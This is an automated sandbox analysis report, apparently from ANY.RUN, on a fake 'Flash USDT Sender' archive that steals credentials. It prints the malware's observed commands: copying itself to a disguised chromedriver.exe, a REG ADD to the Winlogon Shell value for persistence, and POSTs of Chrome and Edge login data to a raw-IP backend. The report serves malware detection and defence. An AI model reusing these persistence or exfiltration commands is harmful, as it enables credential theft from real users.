| File name: | FLASH+USDT+SENDER+CR.rar |
| Full analysis: | https://app.any.run/tasks/ac896cbe-6384-47a7-a573-1228d414d5b5 |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | February 16, 2025, 16:27:05 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | B4805F91624F3BD6FE51D78BE1F651DA |
| SHA1: | 267AA0D5098778CED4176BB37A6AA6DAF1558A46 |
| SHA256: | 9DBA52730CCCB2ED9B0745A518E1B9F379E6FCA84AAE5412539387788CFF2EE0 |
| SSDEEP: | 49152:xpicypSa55gEnDA/feW1SOFAHItVi2wOzMyk9cM240e+5i8hkaTQVjolvPS2gaVZ:xryV5jDA/NrscxwOzsj24Jd8h8Sl3S2T |
MALICIOUS
Generic archive extractor
- WinRAR.exe (PID: 1544)
Changes the login/logoff helper path in the registry
- reg.exe (PID: 4264)
Steals credentials from Web Browsers
- MSBuild.exe (PID: 6328)
Actions looks like stealing of personal data
- MSBuild.exe (PID: 6328)
SUSPICIOUS
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 1544)
Hides command output
- cmd.exe (PID: 2420)
- cmd.exe (PID: 4520)
Starts CMD.EXE for commands execution
- FLASH USDT SENDER [CRAX.PRO].exe (PID: 6240)
Runs PING.EXE to delay simulation
- cmd.exe (PID: 2420)
- cmd.exe (PID: 4520)
Uses REG/REGEDIT.EXE to modify registry
- cmd.exe (PID: 2420)
Executable content was dropped or overwritten
- cmd.exe (PID: 4520)
The executable file from the user directory is run by the CMD process
- chromedriver.exe (PID: 5008)
Connects to the server without a host name
- MSBuild.exe (PID: 6328)
INFO
Checks supported languages
- FLASH USDT SENDER [CRAX.PRO].exe (PID: 6240)
- chromedriver.exe (PID: 5008)
- MSBuild.exe (PID: 6328)
Executable content was dropped or overwritten
- WinRAR.exe (PID: 1544)
Reads the computer name
- FLASH USDT SENDER [CRAX.PRO].exe (PID: 6240)
- chromedriver.exe (PID: 5008)
- MSBuild.exe (PID: 6328)
Reads the machine GUID from the registry
- FLASH USDT SENDER [CRAX.PRO].exe (PID: 6240)
- MSBuild.exe (PID: 6328)
- chromedriver.exe (PID: 5008)
Disables trace logs
- MSBuild.exe (PID: 6328)
Creates files in the program directory
- MSBuild.exe (PID: 6328)
Checks proxy server information
- MSBuild.exe (PID: 6328)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
EXIF
ZIP
| FileVersion: | RAR v5 |
|---|---|
| CompressedSize: | 1151648 |
| UncompressedSize: | 1562624 |
| OperatingSystem: | Win32 |
| ArchivedFileName: | FLASH+USDT+SENDER+CR/FLASH USDT SENDER [CRAX.PRO].exe |
Total processes
140
Monitored processes
12
Malicious processes
5
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1544 | "C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\FLASH+USDT+SENDER+CR.rar | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 1580 | ping 127.0.0.1 -n 13 | C:\Windows\SysWOW64\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2092 | ping 127.0.0.1 -n 7 | C:\Windows\SysWOW64\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2324 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2420 | "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe," | C:\Windows\SysWOW64\cmd.exe | — | FLASH USDT SENDER [CRAX.PRO].exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3420 | ping 127.0.0.1 -n 13 | C:\Windows\SysWOW64\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4264 | REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe," | C:\Windows\SysWOW64\reg.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4520 | "cmd" /c ping 127.0.0.1 -n 13 > nul && copy "C:\Users\admin\AppData\Local\Temp\Rar$EXa1544.4635\FLASH+USDT+SENDER+CR\FLASH USDT SENDER [CRAX.PRO].exe" "C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe" && ping 127.0.0.1 -n 13 > nul && "C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe" | C:\Windows\SysWOW64\cmd.exe | FLASH USDT SENDER [CRAX.PRO].exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4628 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5008 | "C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe" | C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe | — | cmd.exe | |||||||||||
User: admin Company: 6I?5E7CAGG@9IA7872G9F55 Integrity Level: MEDIUM Description: >@GC?7J5EEJ;I55CCB=C Exit code: 0 Version: 8.12.16.21 Modules
| |||||||||||||||
Total events
2 984
Read events
2 961
Write events
23
Delete events
0
Modification events
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\preferences.zip | |||
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\chromium_ext.zip | |||
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip | |||
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\FLASH+USDT+SENDER+CR.rar | |||
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (1544) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (4264) reg.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
| Operation: | write | Name: | Shell |
Value: explorer.exe,C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe, | |||
| (PID) Process: | (6328) MSBuild.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\MSBuild_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
Executable files
2
Suspicious files
7
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4520 | cmd.exe | C:\Users\admin\Documents\Chrome\Driver\chromedriver.exe | executable | |
MD5:09B1C84716B5B142ED3C214011648C7D | SHA256:7C96FBC4242E3E3249988E58D3C8917849998B6C221A5F32847F44F48347C283 | |||
| 6328 | MSBuild.exe | C:\Users\admin\Music\Kryptos\tempWD_Chrome | binary | |
MD5:F6C33AC5E1032A0873BE7BFC65169287 | SHA256:D97895CEDED32E33D57BDCACCDBE144E58AA87AF4D2F8855D630286CE30A8D83 | |||
| 6328 | MSBuild.exe | C:\Users\admin\Music\Kryptos\tempLD_Edge | binary | |
MD5:29A644B1F0D96166A05602FE27B3F4AD | SHA256:BF96902FEB97E990A471492F78EE8386BCF430D66BDAEFDEAFBF912C8CF7CE46 | |||
| 6328 | MSBuild.exe | C:\Users\admin\Music\Kryptos\tempWD_Edge | binary | |
MD5:95FFD778940E6DF4846B0B12C8DD5821 | SHA256:21A2DEBD389DB456465DFEFFDB15F0AF3FBC46F007CBA67513A13EB10D14E94F | |||
| 6328 | MSBuild.exe | C:\Users\admin\Music\Kryptos.zip | compressed | |
MD5:76CDB2BAD9582D23C1F6F4D868218D6C | SHA256:8739C76E681F900923B900C9DF0EF75CF421D39CABB54650C4B9AD19B6A76D85 | |||
| 1544 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$EXa1544.4635\FLASH+USDT+SENDER+CR\FLASH USDT SENDER [CRAX.PRO].exe | executable | |
MD5:09B1C84716B5B142ED3C214011648C7D | SHA256:7C96FBC4242E3E3249988E58D3C8917849998B6C221A5F32847F44F48347C283 | |||
| 6328 | MSBuild.exe | C:\Users\admin\Music\Kryptos\tempLS_Edge | binary | |
MD5:DFFC82B8D23613E62A20204028CEF32F | SHA256:114690F0417A9A6B079EA8D0534F095B04467809DCA929EB0983059E1C60FB6C | |||
| 6328 | MSBuild.exe | C:\Users\admin\Music\Kryptos\tempLD_Chrome | binary | |
MD5:A45465CDCDC6CB30C8906F3DA4EC114C | SHA256:4412319EF944EBCCA9581CBACB1D4E1DC614C348D1DFC5D2FAAAAD863D300209 | |||
| 6328 | MSBuild.exe | C:\Users\admin\Music\Kryptos\tempLS_Chrome | binary | |
MD5:414B7F9E82EE13FB08D39D366B2FBEC8 | SHA256:6F9AD831D38FF839C0EE3593CC5452D7BE31D9725EE81D3E7AD20E4D91736971 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
25
DNS requests
13
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
7012 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7012 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6424 | backgroundTaskHost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
6328 | MSBuild.exe | POST | 200 | 185.225.226.125:80 | http://185.225.226.125/backend/api.php | unknown | — | — | unknown |
6328 | MSBuild.exe | POST | 200 | 185.225.226.125:80 | http://185.225.226.125/backend/recovery.php?wfound=0&cfound=0&bfound=0 | unknown | — | — | unknown |
6328 | MSBuild.exe | POST | 200 | 185.225.226.125:80 | http://185.225.226.125/backend/api.php | unknown | — | — | unknown |
6328 | MSBuild.exe | POST | 200 | 185.225.226.125:80 | http://185.225.226.125/backend/api.php | unknown | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1176 | svchost.exe | 40.126.32.134:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1176 | svchost.exe | 184.30.131.245:80 | — | AKAMAI-AS | US | unknown |
1076 | svchost.exe | 2.19.106.8:443 | go.microsoft.com | AKAMAI-AS | DE | whitelisted |
5988 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
7012 | SIHClient.exe | 4.175.87.197:443 | slscr.update.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7012 | SIHClient.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
7012 | SIHClient.exe | 20.242.39.171:443 | fe3cr.delivery.mp.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
login.live.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
arc.msn.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
fd.api.iris.microsoft.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
6328 | MSBuild.exe | Misc activity | SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body |
Process | Message |
|---|---|
MSBuild.exe | {"message":"Success - First Connection"}
|
MSBuild.exe | [RECOVERY] found Chrome Login Data and Local State files.
|
MSBuild.exe | [RECOVERY] found Edge Login Data and Local State files.
|
MSBuild.exe | Server Response: {"message":"Recovery Successful."}
|
MSBuild.exe | {"message":"Success - Updated Last Seen"}
|
MSBuild.exe | {"message":"Success - Updated Last Seen"}
|